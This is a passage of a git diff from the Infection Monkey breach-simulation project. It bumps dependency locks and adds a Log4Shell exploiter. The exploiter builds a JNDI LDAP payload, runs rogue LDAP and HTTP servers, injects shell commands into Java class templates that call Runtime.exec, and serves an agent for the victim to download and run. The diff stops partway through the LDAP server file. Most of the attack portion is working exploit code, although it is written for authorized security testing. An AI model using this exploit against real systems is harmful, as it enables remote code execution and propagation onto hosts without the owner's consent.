"s3transfer": {
"hashes": [
@@ -889,6 +976,13 @@
"git": "git://github.com/guardicode/ScoutSuite",
"ref": "eac33ac5b0a84e4a2e29682cf3568271eb595003"
},
+ "service-identity": {
+ "hashes": [
+ "sha256:6e6c6086ca271dc11b033d17c3a8bea9f24ebff920c587da090afc9519419d34",
+ "sha256:f0b0caac3d40627c3c04d7a51b6e06721857a0e10a8775f2d1d7e72901b3a7db"
+ ],
+ "version": "==21.1.0"
+ },
"six": {
"hashes": [
"sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926",
@@ -905,11 +999,11 @@
},
"tempora": {
"hashes": [
- "sha256:746ed6fd3529883d81a811fff41b9910ea57067fa84641aa6ecbefffb8322f6d",
- "sha256:fd6cafd66b01390d53a760349cf0b3123844ec6ae3d1043d7190473ea9459138"
+ "sha256:8d743059a4ea496d925f35480c6d206a7160cacebcd6a31e147fb495dcb732af",
+ "sha256:aa21dd1956e29559ecb2f2f2e14fcdb950085222fbbf86e6c946b5e1a8c36b26"
],
- "markers": "python_version >= '3.6'",
- "version": "==4.1.2"
+ "markers": "python_version >= '3.7'",
+ "version": "==5.0.0"
},
"tqdm": {
"hashes": [
@@ -919,13 +1013,42 @@
"markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'",
"version": "==4.62.3"
},
+ "twisted": {
+ "extras": [
+ "tls"
+ ],
+ "hashes": [
+ "sha256:13c1d1d2421ae556d91e81e66cf0d4f4e4e1e4a36a0486933bee4305c6a4fb9b",
+ "sha256:2cd652542463277378b0d349f47c62f20d9306e57d1247baabd6d1d38a109006"
+ ],
+ "markers": "python_full_version >= '3.6.7'",
+ "version": "==21.7.0"
+ },
+ "twisted-iocpsupport": {
+ "hashes": [
+ "sha256:306becd6e22ab6e8e4f36b6bdafd9c92e867c98a5ce517b27fdd27760ee7ae41",
+ "sha256:3c61742cb0bc6c1ac117a7e5f422c129832f0c295af49e01d8a6066df8cfc04d",
+ "sha256:72068b206ee809c9c596b57b5287259ea41ddb4774d86725b19f35bf56aa32a9",
+ "sha256:7d972cfa8439bdcb35a7be78b7ef86d73b34b808c74be56dfa785c8a93b851bf",
+ "sha256:81b3abe3527b367da0220482820cb12a16c661672b7bcfcde328902890d63323",
+ "sha256:851b3735ca7e8102e661872390e3bce88f8901bece95c25a0c8bb9ecb8a23d32",
+ "sha256:985c06a33f5c0dae92c71a036d1ea63872ee86a21dd9b01e1f287486f15524b4",
+ "sha256:9dbb8823b49f06d4de52721b47de4d3b3026064ef4788ce62b1a21c57c3fff6f",
+ "sha256:b435857b9efcbfc12f8c326ef0383f26416272260455bbca2cd8d8eca470c546",
+ "sha256:b76b4eed9b27fd63ddb0877efdd2d15835fdcb6baa745cb85b66e5d016ac2878",
+ "sha256:b9fed67cf0f951573f06d560ac2f10f2a4bbdc6697770113a2fc396ea2cb2565",
+ "sha256:bf4133139d77fc706d8f572e6b7d82871d82ec7ef25d685c2351bdacfb701415"
+ ],
+ "markers": "platform_system == 'Windows'",
+ "version": "==1.0.2"
+ },
"typing-extensions": {
"hashes": [
- "sha256:2cdf80e4e04866a9b3689a51869016d36db0814d84b8d8a568d22781d45d27ed",
- "sha256:829704698b22e13ec9eaf959122315eabb370b0884400e9818334d8b677023d9"
+ "sha256:4ca091dea149f945ec56afb48dae714f21e8692ef22a395223bcd328961b6a0e",
+ "sha256:7f001e5ac290a0c0401508864c7ec868be4e701886d5b573a9528ed3973d9d3b"
],
"index": "pypi",
- "version": "==4.0.0"
+ "version": "==4.0.1"
},
"urllib3": {
"hashes": [
@@ -952,11 +1075,11 @@
},
"winacl": {
"hashes": [
- "sha256:57e5b4591b4be2b243d4b79882bd0fb6229d5930d062fdae941d5d8af6aa29ee",
- "sha256:aa652870757136e39ea85037d33b6b9bd09b415d907a5d64ca7b1a4f67202c59"
+ "sha256:187b4394ef247806f50e1d8320bdb9e33ad1f759d9e61e2e391b97b9adf5f58a",
+ "sha256:949a66b0f46015c8cf8d9c1bfdb3a5174e70c28ae1b096eb778bc2983ea7ce50"
],
"markers": "python_version >= '3.6'",
- "version": "==0.1.1"
+ "version": "==0.1.2"
},
"winsspi": {
"hashes": [
@@ -991,12 +1114,98 @@
},
"zipp": {
"hashes": [
- "sha256:71c644c5369f4a6e07636f0aa966270449561fcea2e3d6747b8d23efaa9d7832",
- "sha256:9fe5ea21568a0a70e50f273397638d39b03353731e6cbbb3fd8502a33fec40bc"
+ "sha256:9f50f446828eb9d45b267433fd3e9da8d801f614129124863f9c51ebceafb87d",
+ "sha256:b47250dd24f92b7dd6a0a8fc5244da14608f3ca90a5efcd37a3b1642fac9a375"
],
"markers": "python_version < '3.10'",
- "version": "==3.6.0"
+ "version": "==3.7.0"
+ },
+ "zope.interface": {
+ "hashes": [
+ "sha256:08f9636e99a9d5410181ba0729e0408d3d8748026ea938f3b970a0249daa8192",
+ "sha256:0b465ae0962d49c68aa9733ba92a001b2a0933c317780435f00be7ecb959c702",
+ "sha256:0cba8477e300d64a11a9789ed40ee8932b59f9ee05f85276dbb4b59acee5dd09",
+ "sha256:0cee5187b60ed26d56eb2960136288ce91bcf61e2a9405660d271d1f122a69a4",
+ "sha256:0ea1d73b7c9dcbc5080bb8aaffb776f1c68e807767069b9ccdd06f27a161914a",
+ "sha256:0f91b5b948686659a8e28b728ff5e74b1be6bf40cb04704453617e5f1e945ef3",
+ "sha256:15e7d1f7a6ee16572e21e3576d2012b2778cbacf75eb4b7400be37455f5ca8bf",
+ "sha256:17776ecd3a1fdd2b2cd5373e5ef8b307162f581c693575ec62e7c5399d80794c",
+ "sha256:194d0bcb1374ac3e1e023961610dc8f2c78a0f5f634d0c737691e215569e640d",
+ "sha256:1c0e316c9add0db48a5b703833881351444398b04111188069a26a61cfb4df78",
+ "sha256:205e40ccde0f37496904572035deea747390a8b7dc65146d30b96e2dd1359a83",
+ "sha256:273f158fabc5ea33cbc936da0ab3d4ba80ede5351babc4f577d768e057651531",
+ "sha256:2876246527c91e101184f63ccd1d716ec9c46519cc5f3d5375a3351c46467c46",
+ "sha256:2c98384b254b37ce50eddd55db8d381a5c53b4c10ee66e1e7fe749824f894021",
+ "sha256:2e5a26f16503be6c826abca904e45f1a44ff275fdb7e9d1b75c10671c26f8b94",
+ "sha256:334701327f37c47fa628fc8b8d28c7d7730ce7daaf4bda1efb741679c2b087fc",
+ "sha256:3748fac0d0f6a304e674955ab1365d515993b3a0a865e16a11ec9d86fb307f63",
+ "sha256:3c02411a3b62668200910090a0dff17c0b25aaa36145082a5a6adf08fa281e54",
+ "sha256:3dd4952748521205697bc2802e4afac5ed4b02909bb799ba1fe239f77fd4e117",
+ "sha256:3f24df7124c323fceb53ff6168da70dbfbae1442b4f3da439cd441681f54fe25",
+ "sha256:469e2407e0fe9880ac690a3666f03eb4c3c444411a5a5fddfdabc5d184a79f05",
+ "sha256:4de4bc9b6d35c5af65b454d3e9bc98c50eb3960d5a3762c9438df57427134b8e",
+ "sha256:5208ebd5152e040640518a77827bdfcc73773a15a33d6644015b763b9c9febc1",
+ "sha256:52de7fc6c21b419078008f697fd4103dbc763288b1406b4562554bd47514c004",
+ "sha256:5bb3489b4558e49ad2c5118137cfeaf59434f9737fa9c5deefc72d22c23822e2",
+ "sha256:5dba5f530fec3f0988d83b78cc591b58c0b6eb8431a85edd1569a0539a8a5a0e",
+ "sha256:5dd9ca406499444f4c8299f803d4a14edf7890ecc595c8b1c7115c2342cadc5f",
+ "sha256:5f931a1c21dfa7a9c573ec1f50a31135ccce84e32507c54e1ea404894c5eb96f",
+ "sha256:63b82bb63de7c821428d513607e84c6d97d58afd1fe2eb645030bdc185440120",
+ "sha256:66c0061c91b3b9cf542131148ef7ecbecb2690d48d1612ec386de9d36766058f",
+ "sha256:6f0c02cbb9691b7c91d5009108f975f8ffeab5dff8f26d62e21c493060eff2a1",
+ "sha256:71aace0c42d53abe6fc7f726c5d3b60d90f3c5c055a447950ad6ea9cec2e37d9",
+ "sha256:7d97a4306898b05404a0dcdc32d9709b7d8832c0c542b861d9a826301719794e",
+ "sha256:7df1e1c05304f26faa49fa752a8c690126cf98b40b91d54e6e9cc3b7d6ffe8b7",
+ "sha256:8270252effc60b9642b423189a2fe90eb6b59e87cbee54549db3f5562ff8d1b8",
+ "sha256:867a5ad16892bf20e6c4ea2aab1971f45645ff3102ad29bd84c86027fa99997b",
+ "sha256:877473e675fdcc113c138813a5dd440da0769a2d81f4d86614e5d62b69497155",
+ "sha256:8892f89999ffd992208754851e5a052f6b5db70a1e3f7d54b17c5211e37a98c7",
+ "sha256:9a9845c4c6bb56e508651f005c4aeb0404e518c6f000d5a1123ab077ab769f5c",
+ "sha256:a1e6e96217a0f72e2b8629e271e1b280c6fa3fe6e59fa8f6701bec14e3354325",
+ "sha256:a8156e6a7f5e2a0ff0c5b21d6bcb45145efece1909efcbbbf48c56f8da68221d",
+ "sha256:a9506a7e80bcf6eacfff7f804c0ad5350c8c95b9010e4356a4b36f5322f09abb",
+ "sha256:af310ec8335016b5e52cae60cda4a4f2a60a788cbb949a4fbea13d441aa5a09e",
+ "sha256:b0297b1e05fd128d26cc2460c810d42e205d16d76799526dfa8c8ccd50e74959",
+ "sha256:bf68f4b2b6683e52bec69273562df15af352e5ed25d1b6641e7efddc5951d1a7",
+ "sha256:d0c1bc2fa9a7285719e5678584f6b92572a5b639d0e471bb8d4b650a1a910920",
+ "sha256:d4d9d6c1a455d4babd320203b918ccc7fcbefe308615c521062bc2ba1aa4d26e",
+ "sha256:db1fa631737dab9fa0b37f3979d8d2631e348c3b4e8325d6873c2541d0ae5a48",
+ "sha256:dd93ea5c0c7f3e25335ab7d22a507b1dc43976e1345508f845efc573d3d779d8",
+ "sha256:f44e517131a98f7a76696a7b21b164bcb85291cee106a23beccce454e1f433a4",
+ "sha256:f7ee479e96f7ee350db1cf24afa5685a5899e2b34992fb99e1f7c1b0b758d263"
+ ],
+ "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'",
+ "version": "==5.4.0"
}
},
- "develop": {}
+ "develop": {
+ "ldap3": {
+ "hashes": [
+ "sha256:2bc966556fc4d4fa9f445a1c31dc484ee81d44a51ab0e2d0fd05b62cac75daa6",
+ "sha256:5630d1383e09ba94839e253e013f1aa1a2cf7a547628ba1265cb7b9a844b5687",
+ "sha256:5869596fc4948797020d3f03b7939da938778a0f9e2009f7a072ccf92b8e8d70",
+ "sha256:5ab7febc00689181375de40c396dcad4f2659cd260fc5e94c508b6d77c17e9d5",
+ "sha256:f3e7fc4718e3f09dda568b57100095e0ce58633bcabbed8667ce3f8fbaa4229f"
+ ],
+ "version": "==2.9.1"
+ },
+ "pyasn1": {
+ "hashes": [
+ "sha256:014c0e9976956a08139dc0712ae195324a75e142284d5f87f1a87ee1b068a359",
+ "sha256:03840c999ba71680a131cfaee6fab142e1ed9bbd9c693e285cc6aca0d555e576",
+ "sha256:0458773cfe65b153891ac249bcf1b5f8f320b7c2ce462151f8fa74de8934becf",
+ "sha256:08c3c53b75eaa48d71cf8c710312316392ed40899cb34710d092e96745a358b7",
+ "sha256:39c7e2ec30515947ff4e87fb6f456dfc6e84857d34be479c9d4a4ba4bf46aa5d",
+ "sha256:5c9414dcfede6e441f7e8f81b43b34e834731003427e5b09e4e00e3172a10f00",
+ "sha256:6e7545f1a61025a4e58bb336952c5061697da694db1cae97b116e9c46abcf7c8",
+ "sha256:78fa6da68ed2727915c4767bb386ab32cdba863caa7dbe473eaae45f9959da86",
+ "sha256:7ab8a544af125fb704feadb008c99a88805126fb525280b2270bb25cc1d78a12",
+ "sha256:99fcc3c8d804d1bc6d9a099921e39d827026409a58f2a720dcdb89374ea0c776",
+ "sha256:aef77c9fb94a3ac588e87841208bdec464471d9871bd5050a287cc9a475cd0ba",
+ "sha256:e89bf84b5437b532b0803ba5c9a5e054d21fec423a89952a74f87fa2c9b7bce2",
+ "sha256:fec3e9d8e36808a28efb59b489e4528c10ad0f480e57dcc32b4de5c9d8c9fdf3"
+ ],
+ "version": "==0.4.8"
+ }
+ }
}
diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py
index 668bfb7c4..522c348b1 100644
--- a/monkey/infection_monkey/exploit/elasticgroovy.py
+++ b/monkey/infection_monkey/exploit/elasticgroovy.py
@@ -58,7 +58,7 @@ class ElasticGroovyExploiter(WebRCE):
def get_open_service_ports(self, port_list, names):
# We must append elastic port we get from elastic fingerprint module because It's not
# marked as 'http' service
- valid_ports = super(ElasticGroovyExploiter, self).get_open_service_ports(port_list, names)
+ valid_ports = WebRCE.get_open_service_ports(self.host, port_list, names)
if ES_SERVICE in self.host.services:
valid_ports.append([ES_PORT, False])
return valid_ports
diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py
index f221ebe1f..f3fd7d095 100644
--- a/monkey/infection_monkey/exploit/hadoop.py
+++ b/monkey/infection_monkey/exploit/hadoop.py
@@ -27,7 +27,7 @@ from infection_monkey.utils.commands import build_monkey_commandline
class HadoopExploiter(WebRCE):
_TARGET_OS_TYPE = ["linux", "windows"]
_EXPLOITED_SERVICE = "Hadoop"
- HADOOP_PORTS = [["8088", False]]
+ HADOOP_PORTS = [("8088", False)]
# How long we have our http server open for downloads in seconds
DOWNLOAD_TIMEOUT = 60
# Random string's length that's used for creating unique app name
@@ -38,7 +38,7 @@ class HadoopExploiter(WebRCE):
def _exploit_host(self):
# Try to get exploitable url
- urls = self.build_potential_urls(self.HADOOP_PORTS)
+ urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS)
self.add_vulnerable_urls(urls, True)
if not self.vulnerable_urls:
return False
diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py
new file mode 100644
index 000000000..de2d2ace2
--- /dev/null
+++ b/monkey/infection_monkey/exploit/log4shell.py
@@ -0,0 +1,196 @@
+import logging
+import time
+
+from common.utils.exploit_enum import ExploitType
+from infection_monkey.exploit.log4shell_utils import (
+ LINUX_EXPLOIT_TEMPLATE_PATH,
+ WINDOWS_EXPLOIT_TEMPLATE_PATH,
+ ExploitClassHTTPServer,
+ LDAPExploitServer,
+ build_exploit_bytecode,
+ get_log4shell_service_exploiters,
+)
+from infection_monkey.exploit.tools.helpers import get_monkey_depth
+from infection_monkey.exploit.tools.http_tools import HTTPTools
+from infection_monkey.exploit.web_rce import WebRCE
+from infection_monkey.model import DOWNLOAD_TIMEOUT as AGENT_DOWNLOAD_TIMEOUT
+from infection_monkey.model import (
+ DROPPER_ARG,
+ LOG4SHELL_LINUX_COMMAND,
+ LOG4SHELL_WINDOWS_COMMAND,
+ VictimHost,
+)
+from infection_monkey.network.info import get_free_tcp_port
+from infection_monkey.network.tools import get_interface_to_target
+from infection_monkey.utils.commands import build_monkey_commandline
+from infection_monkey.utils.monkey_dir import get_monkey_dir_path
+
+logger = logging.getLogger(__name__)
+
+
+class Log4ShellExploiter(WebRCE):
+ _TARGET_OS_TYPE = ["linux", "windows"]
+ EXPLOIT_TYPE = ExploitType.VULNERABILITY
+ _EXPLOITED_SERVICE = "Log4j"
+ SERVER_SHUTDOWN_TIMEOUT = 15
+ REQUEST_TO_VICTIM_TIMEOUT = (
+ 5 # Max time agent will wait for the response from victim in SECONDS
+ )
+
+ def __init__(self, host: VictimHost):
+ super().__init__(host)
+
+ self._ldap_port = get_free_tcp_port()
+
+ self._class_http_server_ip = get_interface_to_target(self.host.ip_addr)
+ self._class_http_server_port = get_free_tcp_port()
+
+ self._ldap_server = None
+ self._exploit_class_http_server = None
+ self._agent_http_server_thread = None
+ self._open_ports = [
+ int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"])
+ ]
+
+ def _exploit_host(self):
+ if not self._open_ports:
+ logger.info("Could not find any open web ports to exploit")
+ return False
+
+ self._start_servers()
+ try:
+ return self.exploit(None, None)
+ finally:
+ self._stop_servers()
+
+ def _start_servers(self):
+ # Start http server, to serve agent to victims
+ paths = self.get_monkey_paths()
+ agent_http_path = self._start_agent_http_server(paths)
+
+ # Build agent execution command
+ command = self._build_command(paths["dest_path"], agent_http_path)
+
+ # Start http server to serve malicious java class to victim
+ self._start_class_http_server(command)
+
+ # Start ldap server to redirect ldap query to java class server
+ self._start_ldap_server()
+
+ def _start_agent_http_server(self, agent_paths: dict) -> str:
+ # Create server for http download and wait for it's startup.
+ http_path, http_thread = HTTPTools.try_create_locked_transfer(
+ self.host, agent_paths["src_path"]
+ )
+ self._agent_http_server_thread = http_thread
+ return http_path
+
+ def _start_class_http_server(self, command: str):
+ java_class = self._build_java_class(command)
+
+ self._exploit_class_http_server = ExploitClassHTTPServer(
+ self._class_http_server_ip, self._class_http_server_port, java_class
+ )
+ self._exploit_class_http_server.run()
+
+ def _start_ldap_server(self):
+ self._ldap_server = LDAPExploitServer(
+ ldap_server_port=self._ldap_port,
+ http_server_ip=self._class_http_server_ip,
+ http_server_port=self._class_http_server_port,
+ storage_dir=get_monkey_dir_path(),
+ )
+ self._ldap_server.run()
+
+ def _stop_servers(self):
+ logger.debug("Stopping all LDAP and HTTP Servers")
+ self._agent_http_server_thread.stop(Log4ShellExploiter.SERVER_SHUTDOWN_TIMEOUT)
+
+ self._exploit_class_http_server.stop(Log4ShellExploiter.SERVER_SHUTDOWN_TIMEOUT)
+
+ self._ldap_server.stop(Log4ShellExploiter.SERVER_SHUTDOWN_TIMEOUT)
+
+ def _build_ldap_payload(self) -> str:
+ interface_ip = get_interface_to_target(self.host.ip_addr)
+ return f"${{jndi:ldap://{interface_ip}:{self._ldap_port}/dn=Exploit}}"
+
+ def _build_command(self, path, http_path) -> str:
+ # Build command to execute
+ monkey_cmd = build_monkey_commandline(
+ self.host, get_monkey_depth() - 1, vulnerable_port=None, location=path
+ )
+ if "linux" in self.host.os["type"]:
+ base_command = LOG4SHELL_LINUX_COMMAND
+ else:
+ base_command = LOG4SHELL_WINDOWS_COMMAND
+
+ return base_command % {
+ "monkey_path": path,
+ "http_path": http_path,
+ "monkey_type": DROPPER_ARG,
+ "parameters": monkey_cmd,
+ }
+
+ def _build_java_class(self, exploit_command: str) -> bytes:
+ if "linux" in self.host.os["type"]:
+ return build_exploit_bytecode(exploit_command, LINUX_EXPLOIT_TEMPLATE_PATH)
+ else:
+ return build_exploit_bytecode(exploit_command, WINDOWS_EXPLOIT_TEMPLATE_PATH)
+
+ def exploit(self, url, command) -> bool:
+ # Try to exploit all services,
+ # because we don't know which services are running and on which ports
+ for exploit in get_log4shell_service_exploiters():
+ for port in self._open_ports:
+ try:
+ url = exploit.trigger_exploit(self._build_ldap_payload(), self.host, port)
+ except Exception as ex:
+ logger.warning(
+ "An error occurred while attempting to exploit log4shell on a "
+ f"potential {exploit.service_name} service: {ex}"
+ )
+
+ if self._wait_for_victim():
+ self.exploit_info["vulnerable_service"] = {
+ "service_name": exploit.service_name,
+ "port": port,
+ }
+ self.exploit_info["vulnerable_urls"].append(url)
+ return True
+
+ return False
+
+ def _wait_for_victim(self) -> bool:
+ victim_called_back = False
+
+ victim_called_back = self._wait_for_victim_to_download_java_bytecode()
+ if victim_called_back:
+ self._wait_for_victim_to_download_agent()
+
+ return victim_called_back
+
+ def _wait_for_victim_to_download_java_bytecode(self) -> bool:
+ start_time = time.time()
+
+ while not self._victim_timeout_expired(
+ start_time, Log4ShellExploiter.REQUEST_TO_VICTIM_TIMEOUT
+ ):
+ if self._exploit_class_http_server.exploit_class_downloaded():
+ return True
+
+ time.sleep(1)
+
+ return False
+
+ def _wait_for_victim_to_download_agent(self):
+ start_time = time.time()
+
+ while not self._victim_timeout_expired(start_time, AGENT_DOWNLOAD_TIMEOUT):
+ if self._agent_http_server_thread.downloads > 0:
+ break
+
+ time.sleep(1)
+
+ @classmethod
+ def _victim_timeout_expired(cls, start_time: float, timeout: int) -> bool:
+ return timeout < (time.time() - start_time)
diff --git a/monkey/infection_monkey/exploit/log4shell_utils/JAVA_CLASS_README.md b/monkey/infection_monkey/exploit/log4shell_utils/JAVA_CLASS_README.md
new file mode 100644
index 000000000..89aa19ddc
--- /dev/null
+++ b/monkey/infection_monkey/exploit/log4shell_utils/JAVA_CLASS_README.md
@@ -0,0 +1,31 @@
+# Building Java class templates for log4shell
+
+## Summary
+The log4shell exploiter provides two files, `LinuxExploit.class.template` and
+`WindowsExploit.class.templete`. These files are served to a vulnerable machine
+via LDAP and HTTP to achieve remote code execution. This README file contains
+instructions for rebuilding these template files should it ever become
+necessary.
+
+## Proceedure
+
+1. Copy the desired Linux or Windows Java source code to a new file named
+ `Exploit.java`. Both Java source code files contain a class named `Exploit`.
+ When building Java classes, the class name and the file name must match
+ exactly.
+
+ ```
+ $ cp LinuxExploit.java Exploit.java
+ ```
+
+1. Use `javac` to build the Java class file.
+ ```
+ $ javac Exploit.java
+ ```
+
+1. Rename the `.class` file with the appropriate OS name.
+ ```
+ $ mv Exploit.class LinuxExploit.class.template
+ ```
+
+1. Remove the `Exploit.java` file, as it is no longer needed.
diff --git a/monkey/infection_monkey/exploit/log4shell_utils/LinuxExploit.class.template b/monkey/infection_monkey/exploit/log4shell_utils/LinuxExploit.class.template
new file mode 100644
index 000000000..dc1ffff7a
Binary files /dev/null and b/monkey/infection_monkey/exploit/log4shell_utils/LinuxExploit.class.template differ
diff --git a/monkey/infection_monkey/exploit/log4shell_utils/LinuxExploit.java b/monkey/infection_monkey/exploit/log4shell_utils/LinuxExploit.java
new file mode 100644
index 000000000..f60e1ebe9
--- /dev/null
+++ b/monkey/infection_monkey/exploit/log4shell_utils/LinuxExploit.java
@@ -0,0 +1,7 @@
+public class Exploit {
+ static {
+ try {
+ Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "###"});
+ } catch(Exception e) {}
+ }
+}
diff --git a/monkey/infection_monkey/exploit/log4shell_utils/WindowsExploit.class.template b/monkey/infection_monkey/exploit/log4shell_utils/WindowsExploit.class.template
new file mode 100644
index 000000000..71907961f
Binary files /dev/null and b/monkey/infection_monkey/exploit/log4shell_utils/WindowsExploit.class.template differ
diff --git a/monkey/infection_monkey/exploit/log4shell_utils/WindowsExploit.java b/monkey/infection_monkey/exploit/log4shell_utils/WindowsExploit.java
new file mode 100644
index 000000000..e91cfe810
--- /dev/null
+++ b/monkey/infection_monkey/exploit/log4shell_utils/WindowsExploit.java
@@ -0,0 +1,7 @@
+public class Exploit {
+ static {
+ try {
+ Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", "###"});
+ } catch(Exception e) {}
+ }
+}
diff --git a/monkey/infection_monkey/exploit/log4shell_utils/__init__.py b/monkey/infection_monkey/exploit/log4shell_utils/__init__.py
new file mode 100644
index 000000000..831ddec48
--- /dev/null
+++ b/monkey/infection_monkey/exploit/log4shell_utils/__init__.py
@@ -0,0 +1,11 @@
+from pathlib import Path
+from .exploit_builder import (
+ build_exploit_bytecode,
+ InvalidExploitTemplateError,
+)
+from .ldap_server import LDAPExploitServer
+from .service_exploiters import get_log4shell_service_exploiters
+from .exploit_class_http_server import ExploitClassHTTPServer
+
+LINUX_EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "LinuxExploit.class.template"
+WINDOWS_EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "WindowsExploit.class.template"
diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py
new file mode 100644
index 000000000..40b6d8bd4
--- /dev/null
+++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py
@@ -0,0 +1,62 @@
+import struct
+from pathlib import Path
+
+# This code has been adapted from https://github.com/alexandre-lavoie/python-log4rce
+
+INJECTION_TAG = "###"
+
+
+class InvalidExploitTemplateError(Exception):
+ pass
+
+
+def build_exploit_bytecode(payload_command: str, exploit_template_path: Path) -> bytes:
+ """
+ Build a payload used to exploit log4shell
+ :param str payload_command: The command that will be executed on the remote host.
+ :param Path exploit_template_path: The path to a file containing a pre-compiled Java class with
+ the placeholder "###". This placeholder will be overwritten
+ with the contents of payload_command.
+ :return: Java bytecode that will execute the payload
+ :rtype: bytes
+ """
+ template_bytecode = _load_template_bytecode(exploit_template_path)
+ exploit_bytecode = _inject_payload(payload_command, template_bytecode)
+
+ return exploit_bytecode
+
+
+def _load_template_bytecode(exploit_template_path: Path) -> bytes:
+ with open(exploit_template_path, "rb") as h:
+ template_bytecode = h.read()
+
+ if not template_bytecode.startswith(b"\xca\xfe\xba\xbe"):
+ raise InvalidExploitTemplateError(
+ f'The file "{exploit_template_path}" is not a compiled Java class'
+ )
+
+ return template_bytecode
+
+
+def _inject_payload(payload: str, template_bytecode: bytes):
+ payload_bytes = payload.encode()
+
+ if not INJECTION_TAG.encode() in template_bytecode:
+ raise InvalidExploitTemplateError(
+ f'Unable to find "{INJECTION_TAG}" tag in the template bytecode'
+ )
+
+ index = template_bytecode.index(INJECTION_TAG.encode())
+
+ exploit_bytecode = (
+ template_bytecode[: index - 3]
+ + str_size(payload_bytes)
+ + payload_bytes
+ + template_bytecode[index + 3 :]
+ )
+
+ return exploit_bytecode
+
+
+def str_size(data: bytes) -> bytes:
+ return b"\x01" + struct.pack("!H", len(data))
diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py
new file mode 100644
index 000000000..612bda270
--- /dev/null
+++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py
@@ -0,0 +1,118 @@
+import http.server
+import logging
+import threading
+
+logger = logging.getLogger(__name__)
+
+HTTP_TOO_MANY_REQUESTS_ERROR_CODE = 429
+
+
+# If we need to run multiple HTTP servers in parallel, we'll need to either:
+# 1. Use multiprocessing so that each HTTPHandler class has its own class_downloaded variable
+# 2. Create a metaclass and define the handler class dymanically at runtime
+class HTTPHandler(http.server.BaseHTTPRequestHandler):
+
+ java_class: bytes
+ class_downloaded: threading.Event
+ download_lock: threading.Lock
+
+ @classmethod
+ def initialize(cls, java_class: bytes, class_downloaded: threading.Event):
+ cls.java_class = java_class
+ cls.class_downloaded = class_downloaded
+ cls.download_lock = threading.Lock()
+
+ def do_GET(self):
+ with HTTPHandler.download_lock:
+ if HTTPHandler.class_downloaded.is_set():
+ self.send_error(
+ HTTP_TOO_MANY_REQUESTS_ERROR_CODE,
+ "Java exploit class has already been downloaded",
+ )
+ return
+
+ HTTPHandler.class_downloaded.set()
+
+ logger.info("Java class server received a GET request!")
+ self.send_response(200)
+ self.send_header("Content-type", "application/octet-stream")
+ self.end_headers()
+ logger.info("Sending the payload class!")
+ self.wfile.write(self.java_class)
+
+
+class ExploitClassHTTPServer:
+ """
+ An HTTP server that serves Java bytecode for use with the Log4Shell exploiter. This server
+ limits the number of requests to one. That is, after one victim has downloaded the java
+ bytecode, the server will respond with a 429 error to all future requests.
+
+ Note: There can only be one instance of this class at a time due to the way it is implemented.
+ """
+
+ def __init__(self, ip: str, port: int, java_class: bytes, poll_interval: float = 0.5):
+ """
+ :param ip: The IP address that the server will bind to
+ :param port: The port that the server will listen on
+ :param java_class: The compiled Java bytecode that the server will serve
+ :param poll_interval: Poll for shutdown every `poll_interval` seconds, defaults to 0.5.
+ """
+ logger.debug(f"The Java Exploit class will be served at {ip}:{port}")
+
+ self._class_downloaded = threading.Event()
+ self._poll_interval = poll_interval
+
+ HTTPHandler.initialize(java_class, self._class_downloaded)
+
+ self._server = http.server.HTTPServer((ip, port), HTTPHandler)
+ # Setting `daemon=True` to save ourselves some trouble when this is merged to the
+ # agent-refactor branch.
+ # TODO: Make a call to `create_daemon_thread()` instead of calling the `Thread()`
+ # constructor directly after merging to the agent-refactor branch.
+ self._server_thread = threading.Thread(
+ target=self._server.serve_forever, args=(self._poll_interval,), daemon=True
+ )
+
+ def run(self):
+ """
+ Runs the HTTP server in the background and blocks until the server has started.
+ """
+ logger.info("Starting ExploitClassHTTPServer")
+ self._class_downloaded.clear()
+
+ # NOTE: Unlike in LDAPExploitServer, we theoretically don't need to worry about a race
+ # between when `serve_forever()` is ready to handle requests and when the victim machine
+ # sends its requests. This could change if we switch from multithreading to multiprocessing.
+ # See
+ # https://stackoverflow.com/questions/22606480/how-can-i-test-if-python-http-server-httpserver-is-serving-forever
+ # for more information.
+ self._server_thread.start()
+
+ def stop(self, timeout: float = None):
+ """
+ Stops the HTTP server.
+
+ :param timeout: A floating point number of seconds to wait for the server to stop. If this
+ argument is None (the default), the method blocks until the HTTP server
+ terminates. If `timeout` is a positive floating point number, this method
+ blocks for at most `timeout` seconds.
+ """
+ if self._server_thread.is_alive():
+ logger.debug("Stopping the Java Exploit class HTTP server")
+ self._server.shutdown()
+ self._server_thread.join(timeout)
+
+ if self._server_thread.is_alive():
+ logger.warning("Timed out while waiting for The HTTP exploit server to stop")
+ else:
+ logger.debug("The Java Exploit class HTTP server has stopped")
+
+ def exploit_class_downloaded(self) -> bool:
+ """
+ Returns whether or not a victim has downloaded the Java bytecode from the server.
+
+ :return: True if the victim has downloaded the Java bytecode from the server. False
+ otherwise.
+ :rtype: bool
+ """
+ return self._class_downloaded.is_set()
diff --git a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py
new file mode 100644
index 000000000..0b29fd4cf
--- /dev/null
+++ b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py
@@ -0,0 +1,184 @@
+import logging
+import math
+import multiprocessing
+import tempfile
+import threading
+import time
+from pathlib import Path
+
+from ldaptor.interfaces import IConnectedLDAPEntry
+from ldaptor.ldiftree import LDIFTreeEntry
